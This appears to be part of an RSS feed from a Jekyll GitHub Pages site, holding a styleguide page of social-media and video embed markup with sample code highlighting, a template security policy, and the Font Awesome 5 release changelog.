&lt;blockquote class=&quot;instagram-media&quot; data-instgrm-captioned data-instgrm-permalink=&quot;https://www.instagram.com/p/CBXO7AypXkM/?utm_source=ig_embed&amp;amp;utm_campaign=loading&quot; data-instgrm-version=&quot;13&quot; style=&quot; background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:540px; min-width:326px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);&quot;&gt;&lt;div style=&quot;padding:16px;&quot;&gt; &lt;a href=&quot;https://www.instagram.com/p/CBXO7AypXkM/?utm_source=ig_embed&amp;amp;utm_campaign=loading&quot; style=&quot; background:#FFFFFF; line-height:0; padding:0 0; text-align:center; text-decoration:none; width:100%;&quot; target=&quot;_blank&quot;&gt; &lt;div style=&quot; display: flex; flex-direction: row; align-items: center;&quot;&gt; &lt;div style=&quot;background-color: #F4F4F4; border-radius: 50%; flex-grow: 0; height: 40px; margin-right: 14px; width: 40px;&quot;&gt;&lt;/div&gt; &lt;div style=&quot;display: flex; flex-direction: column; flex-grow: 1; justify-content: center;&quot;&gt; &lt;div style=&quot; background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; margin-bottom: 6px; width: 100px;&quot;&gt;&lt;/div&gt; &lt;div style=&quot; background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; width: 60px;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;padding: 19% 0;&quot;&gt;&lt;/div&gt; &lt;div style=&quot;display:block; height:50px; margin:0 auto 12px; width:50px;&quot;&gt;&lt;svg width=&quot;50px&quot; height=&quot;50px&quot; viewBox=&quot;0 0 60 60&quot; version=&quot;1.1&quot; xmlns=&quot;https://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;https://www.w3.org/1999/xlink&quot;&gt;&lt;g stroke=&quot;none&quot; stroke-width=&quot;1&quot; fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;g transform=&quot;translate(-511.000000, -20.000000)&quot; fill=&quot;#000000&quot;&gt;&lt;g&gt;&lt;path d=&quot;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;&lt;/div&gt;&lt;div style=&quot;padding-top: 8px;&quot;&gt; &lt;div style=&quot; color:#3897f0; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:550; line-height:18px;&quot;&gt; View this post on Instagram&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;padding: 12.5% 0;&quot;&gt;&lt;/div&gt; &lt;div style=&quot;display: flex; flex-direction: row; margin-bottom: 14px; align-items: center;&quot;&gt;&lt;div&gt; &lt;div style=&quot;background-color: #F4F4F4; border-radius: 50%; height: 12.5px; width: 12.5px; transform: translateX(0px) translateY(7px);&quot;&gt;&lt;/div&gt; &lt;div style=&quot;background-color: #F4F4F4; height: 12.5px; transform: rotate(-45deg) translateX(3px) translateY(1px); width: 12.5px; flex-grow: 0; margin-right: 14px; margin-left: 2px;&quot;&gt;&lt;/div&gt; &lt;div style=&quot;background-color: #F4F4F4; border-radius: 50%; height: 12.5px; width: 12.5px; transform: translateX(9px) translateY(-18px);&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: 8px;&quot;&gt; &lt;div style=&quot; background-color: #F4F4F4; border-radius: 50%; flex-grow: 0; height: 20px; width: 20px;&quot;&gt;&lt;/div&gt; &lt;div style=&quot; width: 0; height: 0; border-top: 2px solid transparent; border-left: 6px solid #f4f4f4; border-bottom: 2px solid transparent; transform: translateX(16px) translateY(-4px) rotate(30deg)&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;margin-left: auto;&quot;&gt; &lt;div style=&quot; width: 0px; border-top: 8px solid #F4F4F4; border-right: 8px solid transparent; transform: translateY(16px);&quot;&gt;&lt;/div&gt; &lt;div style=&quot; background-color: #F4F4F4; flex-grow: 0; height: 12px; width: 16px; transform: translateY(-4px);&quot;&gt;&lt;/div&gt; &lt;div style=&quot; width: 0; height: 0; border-top: 8px solid #F4F4F4; border-left: 8px solid transparent; transform: translateY(-4px) translateX(8px);&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;div style=&quot;display: flex; flex-direction: column; flex-grow: 1; justify-content: center; margin-bottom: 24px;&quot;&gt; &lt;div style=&quot; background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; margin-bottom: 6px; width: 224px;&quot;&gt;&lt;/div&gt; &lt;div style=&quot; background-color: #F4F4F4; border-radius: 4px; flex-grow: 0; height: 14px; width: 144px;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;p style=&quot; color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;&quot;&gt;&lt;a href=&quot;https://www.instagram.com/p/CBXO7AypXkM/?utm_source=ig_embed&amp;amp;utm_campaign=loading&quot; style=&quot; color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none;&quot; target=&quot;_blank&quot;&gt;A post shared by Sujay (@sujaykundu777)&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;&lt;/blockquote&gt; &lt;script async src=&quot;//www.instagram.com/embed.js&quot;&gt;&lt;/script&gt;

&lt;hr&gt;

&lt;h3&gt; Twitter Embed &lt;/h3&gt;

&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;I just published “Deploying a blog using Jekyll and Github Pages with SSL certificate for Free” &lt;a href=&quot;https://t.co/B3T3IQVU93&quot;&gt;https://t.co/B3T3IQVU93&lt;/a&gt;&lt;/p&gt;&amp;mdash; Sujay Kundu (@SujayKundu777) &lt;a href=&quot;https://twitter.com/SujayKundu777/status/1012601950469160962?ref_src=twsrc%5Etfw&quot;&gt;June 29, 2018&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;


&lt;h3&gt;YouTube Responsive Embed&lt;/h3&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/bBpKMH3nBzE?rel=0&amp;amp;controls=0&amp;amp;showinfo=0&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;h3&gt;Vimeo Responsive Embed&lt;/h3&gt;

&lt;iframe src=&quot;https://player.vimeo.com/video/212114694?title=0&amp;amp;byline=0&amp;amp;portrait=0&quot; width=&quot;640&quot; height=&quot;360&quot; frameborder=&quot;0&quot; webkitallowfullscreen=&quot;&quot; mozallowfullscreen=&quot;&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;ted-responsive-embed&quot;&gt;TED Responsive Embed&lt;/h3&gt;

&lt;iframe src=&quot;https://embed.ted.com/talks/ted_halstead_a_climate_solution_where_all_sides_can_win&quot; width=&quot;640&quot; height=&quot;360&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;twitch-responsive-embed&quot;&gt;Twitch Responsive Embed&lt;/h3&gt;

&lt;iframe src=&quot;https://player.twitch.tv/?autoplay=false&amp;amp;video=v248755437&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot; scrolling=&quot;no&quot; height=&quot;378&quot; width=&quot;620&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;soundcloud-embed&quot;&gt;SoundCloud Embed&lt;/h3&gt;

&lt;iframe width=&quot;100%&quot; height=&quot;166&quot; scrolling=&quot;no&quot; frameborder=&quot;no&quot; src=&quot;https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/29738591&amp;amp;color=ff5500&amp;amp;auto_play=false&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;codepen-embed&quot;&gt;CodePen Embed&lt;/h3&gt;

&lt;p data-height=&quot;265&quot; data-theme-id=&quot;light&quot; data-slug-hash=&quot;YWvpRo&quot; data-default-tab=&quot;css,result&quot; data-user=&quot;kharrop&quot; data-embed-version=&quot;2&quot; data-pen-title=&quot;Referral Form&quot; class=&quot;codepen&quot;&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; src=&quot;https://production-assets.codepen.io/assets/embed/ei.js&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;syntax-highlighting&quot;&gt;Syntax Highlighting&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;s1&quot;&gt;&apos;use strict&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;markdown&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;markdown&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;markdown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Editor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;preview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;update&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;preview&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;markdown&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toHTML&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;editor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;You can add inline code just like this, E.g. &lt;code class=&quot;highlighter-rouge&quot;&gt;.code { color: #fff; }&lt;/code&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-css&quot; data-lang=&quot;css&quot;&gt;&lt;span class=&quot;nt&quot;&gt;pre&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;#f4f4f4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;max-width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;100%&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nl&quot;&gt;overflow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;github-gist-embed&quot;&gt;GitHub gist Embed&lt;/h3&gt;

&lt;script src=&quot;https://gist.github.com/ahmadajmi/dbb4f713317721668bcbc39420562afc.js&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;input-style&quot;&gt;Input Style&lt;/h3&gt;

&lt;p&gt;&lt;input type=&quot;text&quot; placeholder=&quot;I&apos;m an input field!&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;


</description>
            <link>https://slowanalyst.github.io/styleguide/</link>
          </item>
        
      
    
      
    
      
        
          <item>
            <title>Security Policy</title>
            <description># Security Policy

## Supported Versions

Use this section to tell people about which versions of your project are
currently being supported with security updates.

| Version | Supported          |
| ------- | ------------------ |
| 5.1.x   | :white_check_mark: |
| 5.0.x   | :x:                |
| 4.0.x   | :white_check_mark: |
| &lt; 4.0   | :x:                |

## Reporting a Vulnerability

Use this section to tell people how to report a vulnerability.

Tell them where to go, how often they can expect to get an update on a
reported vulnerability, what to expect if the vulnerability is accepted or
declined, etc.
</description>
            <link>https://slowanalyst.github.io/SECURITY/</link>
          </item>
        
      
    
      
        
          <item>
            <title>Change Log</title>
            <description># Change Log

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](http://keepachangelog.com/) and this project adheres to [Semantic Versioning](http://semver.org/).

**Note that references to the Font-Awesome-Pro repository refer to a GitHub
repository that is by invitation only. You will get a 404 - Not Found if you do
not have access**

---

## [5.1.0](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.1.0)  - 2018-06-20

**Minor version upgrade notice: there are some backward-incompatible changes to this release. See the
[UPGRADING.md guide](https://github.com/FortAwesome/Font-Awesome/blob/master/UPGRADING.md) for more
information.**

### Added
* New Emoji, Design, and Travel category pack
* Another group of requested and commissioned icons
* Version 4 shim for Web Fonts with CSS
* New simplified download and NPM packages
* @fortawesome/fontawesome-free and @fortawesome/fontawesome-pro NPM packages that match what&apos;s available in the CDN and .ZIP files
* Brand icons rev, nimblr, megaport, mailchimp, hornbill, wix, weebly, themeco, squarespace, aws, shopware
* API method toHtml() for converting abstract objects to HTML
* API method counter() to generate Layers Counters
* API method watch() to configure MutationObserver and watch DOM for icon changes and additions

### Changed
* Relocating sponsor data to a separate sponsors.yml
* Updated teamspeak brand icon
* No more default exports in the CommonJS/ES packages (anything installed from NPM)
* Greatly improved performance and rendering of CSS pseudo-elements with SVG and JavaScript
* Configuration of SVG with JavaScript can now be done with attributes on the script tag
* SVG with JavaScript pseudo-elements now match syntax (font-family, font-weight) of Web Fonts with CSS

### Fixed
* Tree shaking of all NPM packages by default
* Alignment of the book-open and dice-six icon
* Correcting creative-commons
* Incorrect license on the fontawesome-common-types package
* Improve ligatures that share a base name with another ligature
* Correcting solid style of the digital-tachograph icon
* Prevent duplicating classes in some scenarios with SVG with JavaScript
* Duplicate insertion of CSS when insertCss() method was called
* Missing TypeScript definitions for the free-brands-svg-icons package

---

## [5.0.13](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.13)  - 2018-05-10

### Added
* 68 icons to Free and 165 to Pro of the most requested icons in Font Awesome

---

## [5.0.12](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.12)  - 2018-05-03

### Added
* A long time ago in a galaxy far, far away some icons were added

### Fixed
* Renamed the r brand to r-project to prevent ligature collision with the &quot;r&quot; glyph

---

## [5.0.11](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.11)  - 2018-05-01

### Added
* 16 new user icons
* Full set of Creative Commons symbols
* Regular style comment-dots used for v4 comment-alt in shim
* Top 6 brand icons: r, ebay, mastodon, researchgate, keybase, teamspeak

### Changed
* Revised slider icons FortAwesome/Font-Awesome#11872
* Make desktop typeface easier to find in apps that support ligature previews

### Fixed
* Remove errant XML entity from the lastfm-square icon FortAwesome/Font-Awesome#12847
* Correcting paths in cloud icons FortAwesome/Font-Awesome-Pro#920

---

## [5.0.10](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.10)  - 2018-04-10

### Added
* New java brand icon FortAwesome/Font-Awesome#386

### Changed
* Updating depth of dna icon
* Updating pied-piper, adding pied-piper-hat

### Fixed
* Correcting path errors on readme icon FortAwesome/Font-Awesome#12754
* Light style of lamp icon FortAwesome/Font-Awesome#12725

---

## [5.0.9](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.9)  - 2018-03-27

### Added
* New Chat icon pack and category
* New Charity icon pack and category
* New Moving icon pack and category
* New icons hands and hand-holding

### Changed
* Updated flipboard, readme, and houzz brand icon
* Making all solid icons in the medical icon pack free
* Updated hand-holding-box and hand-receiving in the Light style

### Fixed
* Missing box-sizing CSS property for fa-layers-counter

---

## [5.0.8](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.8)  - 2018-03-01

### Fixed
* OTF font files missing ligatures for Pro styles FortAwesome/Font-Awesome#12486 FortAwesome/Font-Awesome-Pro#1034

---

## [5.0.7](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.7)  - 2018-02-26

### Added
* New Logistics category
* New Medical category
* Individual SVG files available from the Font Awesome CDN
* Additional search terms

### Changed
* Apple brand icon update FortAwesome/Font-Awesome#12337
* Disable mutation observers with fontawesome.noAuto() is called
* License information now references https URL scheme

### Fixed
* Missing TypeScript names FortAwesome/react-fontawesome#83
* Adding categories metadata FortAwesome/Font-Awesome#12034
* TypeScript improvement for fontawesome.layer()
* Correcting a melting, wobbling, weird-looking whistle

---

## [5.0.6](https://github.com/FortAwesome/Font-Awesome/releases/tag/5.0.6)  - 2018-01-25

### Fixed
* @fortawesome/fontawesome-pro-light missing submodules

---

## [5.0.5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.5)  - 2018-01-25

### Added
* New Sports category
* New Chess category
* Added brand icons for flipboard, php, quinscape, and hips

### Fixed
* Sass and Less mixin fa-icon() now uses ems instead of percentage
* Corrected misspelling of &quot;Alternate&quot; in category labels
* Improved TypeScript definitions for @fortawesome/fontawesome
* Server-side rendering was failing due to DOM-specific object access
* SVG attributes &quot;data-fa-processed&quot; renamed to &quot;data-fa-i2svg&quot;, only applies if rendered with i2svg() method

---

## [5.0.4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.4)  - 2018-01-10

### Changed
* Updating all NPM package READMEs

### Fixed
* Improving TypeScript exports and fixing some incorrect definitions
* TypeScript error when importing entire style Fort-Awesome/Font-Awesome#12072
* Pseudo-elements erasing text contents in parent container Fort-Awesome/Font-Awesome-Pro#11995
* fa-layers-text misalignment when using Bootstrap Fort-Awesome/Font-Awesome#11871

---

## [5.0.3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.3)  - 2018-01-08

### Added
* Adding elementor, youtube-square brand icons
* Adding window-minimize to the Free subset
* TypeScript support for all NPM packages

### Fixed
* Corrected uneven spacing in university, address-book, address-card, id-badge, id-card, mouse-pointer, phone-volume, portrait, user-alt, user-circle, user-md, user-plus, user-times, user , users
* Corrected uneven spacing in brand icons behance-square, dashcube, discourse, ember, erlang, fort-awesome, js-square, laravel, mix, patreon, palfed, phoenix-framework, node-js, skyatlas, stack-exchange, stripe, viber, weixin, yahoo , yoast

---

## [5.0.2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.2)  - 2017-12-19

### Added
* Adding amazon-pay, cc-amazon-pay, korvue, ethereum brand icons
* Adding stopwatch to Free version

### Changed
* Ligatures now support capital case, all caps, and title case

### Fixed
* NPM packages now behave the same way as CDN and browser-specific packages FortAwesome/Font-Awesome-Pro#727 FortAwesome/Font-Awesome-Pro#896 FortAwesome/Font-Awesome-Pro#891
* Icon doesn&apos;t change when pseudo-element content changes FortAwesome/Font-Awesome-Pro#839
* Invalid XML in sprites FortAwesome/Font-Awesome-Pro#927
* Incorrect version in Sass and Less variable files

---

## [5.0.1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.1)  - 2017-12-08

### Added
* Adding font-awesome-flag, lock-open, redo-alt, sync-alt, undo-alt to the Free version
* New NPM packages `fontawesome-free-webfonts` and `fontawesome-pro-webfonts`
* Adding old icon names to search terms for renamed icons
* Extensive metadata added to the `advanced-options` directory
* Adding stripe-s brand icon
* Adding typo3 brand icon

### Changed
* Updated dropbox brand icon to match new branding guidelines
* Updated firefox brand icon
* Updated strava brand icon
* OTF font file now include a space character

### Fixed
* OTF font file now supports different styles in Windows
* OTF font file &quot;j&quot; character now has correct space on the right
* Modifying the `class` attribute on an existing `&lt;svg&gt;` allows you to change the icon

---

## [5.0.0](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0)  - 2017-12-01

### Added
* License information

### Changed
* CSS vertical-align now &quot;em&quot;-based instead of percentage making it more consistent
* fa-ul width now closer to default browser size

---

## [5.0.0-rc5](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc5)  - 2017-11-28

**This release includes breaking changes**

### Added
* Brand icons: gitter, cc-stripe, stripe, hooli, aviato, strava, ember, angular, font-awesome-flag
* Icons compress-alt and expand-alt
* Adding calendar to Font Awesome 5 Free
* SASS function that makes it easier to use variables FortAwesome/Font-Awesome-Pro#824

### Changed
* BREAKING Renamed icon composition to mask (&quot;data-fa-compose&quot; becomes &quot;data-fa-mask&quot;)
* BREAKING Re-organized directory structure to match upcoming documentation
* BREAKING Font Awesome styles inserted into the `&lt;head&gt;` will now precede other link and style definitions
* BREAKING `fontawesome.text` and `fontawesome.icon` now use `styles` param instead of `style`
* Updated sizing for twitter, discord, youtube
* Class fa-li now respects line-height and has new recommended markup (see included docs)

### Fixed
* Duplicate `style` tags being added in the head FortAwesome/Font-Awesome-Pro#858
* Error with icon composition/masking that caused a confusing error message
* An error when using pseudo elements and the element is empty (Array.reduce error)
* Icons not being replaced with SVG if the text content is not empty

---

## [5.0.0-rc4](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc4)  - 2017-10-27

### Added
* Ligature support in the OTF font
* Vue.js brand icon
* Sass and Less brand icons
* Autoprefixer brand icon
* Individual icon imports in icon packages FortAwesome/Font-Awesome-Pro#808

### Changed
* Better poo eyes
* Renamed HTML status classes to `fontawesome-i2svg-active`, `fontawesome-i2svg-pending`, `fontawesome-i2svg-complete`
* HTML status class for active is added only after the first batch of icon replacements occur
* Added mention of newer versions of iOS in documentation FortAwesome/Font-Awesome-Pro#810

### Fixed
* Performance and missing features with mutation observer (should fix FortAwesome/Font-Awesome-Pro#813)
* Incorrect handling of icon class and style attributes when using autoReplace = &apos;nest&apos; FortAwesome/Font-Awesome-Pro#809
* Pseudo elements not added or removed when class mutations occur FortAwesome/Font-Awesome-Pro#821

---

## [5.0.0-rc3](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc3)  - 2017-10-13

### Added
* Node.js brand icon FortAwesome/Font-Awesome-Pro#779
* React brand icon FortAwesome/Font-Awesome-Pro#780
* OSI brand icon FortAwesome/Font-Awesome-Pro#748
* Add a class to the html element when icon replacement is complete FortAwesome/Font-Awesome-Pro#778
* Add support for symbols in API including ability to name the symbol
* Use CSS pseudo elements (:before and :after) to make trigger SVG replacements

### Changed
* Switched the locations of fork and knife in utensils-alt FortAwesome/Font-Awesome-Pro#466
* Updated the AWS brand icon FortAwesome/Font-Awesome-Pro#735
* Updated Apple App Store icon FortAwesome/Font-Awesome-Pro#728

### Fixed
* Do not throw an error if icon is missing when calling icon() method in API
* Ensure that unicode values do not change between releases
* Version field is missing in fontawesome-pro-brands/package.json FortAwesome/Font-Awesome-Pro#781
* Repeated commenting out of fa-layers when i2svg is called FortAwesome/Font-Awesome-Pro#788
* Title not showing up correctly for SVG FortAwesome/Font-Awesome-Pro#786

---

## [5.0.0-rc2](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc2)  - 2017-09-22

### Added
* Brand icons: accusoft, ns8, uniregistry

### Fixed
* Link to the npm package in the docs FortAwesome/Font-Awesome-Pro#729
* Incorrect reference to fontawesome-pro.js in docs

---

## [5.0.0-rc1](https://github.com/FortAwesome/Font-Awesome-Pro/releases/tag/5.0.0-rc1)  - 2017-09-15

### Changed
* New Bitbucket logo FortAwesome/Font-Awesome-Pro#720
* Modifed the star icons to match use case better FortAwesome/Font-Awesome-Pro#710
* Switched names of css3 and css3-alt to reflect correct branding

### Fixed
* Correct whitespace with the Visa logo FortAwesome/Font-Awesome-Pro#719
* Improve OTF support by passing through FontForge FortAwesome/Font-Awesome-Pro#565
* Fonts with &quot;undefined&quot; name FortAwesome/Font-Awesome-Pro#711
* Shims will only function if using old prefix of &quot;fa&quot; FortAwesome/Font-Awesome-Pro#692
* Added missing &quot;youtube&quot; icon to categories

---

